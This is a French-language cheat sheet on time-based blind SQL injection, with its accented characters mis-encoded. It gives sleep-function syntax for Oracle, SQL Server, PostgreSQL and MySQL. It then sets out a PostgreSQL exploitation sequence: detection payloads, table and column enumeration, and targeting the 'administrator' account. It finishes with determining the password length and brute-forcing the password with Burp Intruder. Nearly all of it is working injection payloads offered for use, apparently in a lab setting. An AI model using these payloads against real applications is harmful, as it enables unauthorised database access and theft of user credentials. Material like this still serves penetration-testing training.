โณTime based

Synthaxe

Oracle

dbms_pipe.receive_message(('a'),10)

Microsoft

WAITFOR DELAY '0:0:10'

PostgreSQL

SELECT pg_sleep(10)

MySQL

SELECT SLEEP(10)

Exemple d'exploitation sur PostgreSQL

Dรฉtection

'||pg_sleep(3)||'
'XOR(if(now()=sysdate(),sleep(10),0))OR'
if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"*/

Enumeration des tables

'||(SELECT pg_sleep(3) FROM <FUZZ> LIMIT 1)||'

dรฉlais de 3 sec pour table users

Enumeration des colonnes

'||(SELECT pg_sleep(3)||<FUZZ> FROM users LIMIT 1)||'

dรฉlai de 3 secondes pour colonnes username et password

Recherche utilisateur administrator

'||(SELECT pg_sleep(3)||username||password FROM users WHERE username='administrator')||'

Pour les รฉtapes suivantes, il va vous falloir modifier quelques paramรจtres dans burp intruder:

  • Crรฉer un nouveau pool (Pas de multithread)

  • Ajouter la colonne temps de rรฉponse

Dรฉterminer le nombre de caractรจres dans le mot de passe

'||(SELECT pg_sleep(3) FROM users WHERE username='administrator' AND LENGTH(password)=<FUZZ>)||'

Bruteforce du mot de passe

'||(SELECT pg_sleep(3) FROM users WHERE username='administrator' AND SUBSTR(password,<LENGTH_FUZZ>,1)='<LETTER_FUZZ>')||'

Avec Burp Suite, aller dans intruder, sรฉlectionner les zones <LENGTH_FUZZ> et <LETTER_FUZZ> puis utiliser l'attaque Cluster Bomb.

Payload 1: numรฉros de 1 ร  la taille dรฉcouverte plus tรดt

Payload 2: bruteforce

Dans les paramรจtres, utiliser Grep-Match pour matcher la zone qui change en fonction du true ou false afin de pouvoir filtrer plus facilemen le rรฉsultat final.

Derniรจre mise ร  jour